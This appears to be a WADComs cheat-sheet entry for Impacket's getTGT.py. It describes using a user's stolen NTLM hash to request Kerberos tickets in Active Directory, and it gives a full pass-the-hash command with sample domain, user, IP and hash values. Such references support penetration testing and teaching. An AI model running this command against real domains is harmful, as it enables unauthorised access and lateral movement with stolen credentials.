Impacket-getTGT — WADComs

Execution

ExecutionLinuxWindowsActiveDirectory

Impacket's getTGT.py uses a valid user's NTLM hash to request Kerberos tickets, in order to access any service or machine where that user has permissions. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: 2a3de7fe356ee524cc9f3d579f2e0aa7

python3 getTGT.py test.local/john -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7

Evidence: Upstream reference
Environment: Active Directory
Native: Exploitation
Requires: NTLM hash, Username
Services: Kerberos
Refs: github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py
www.tarlogic.com/en/blog/how-to-attack-kerberos/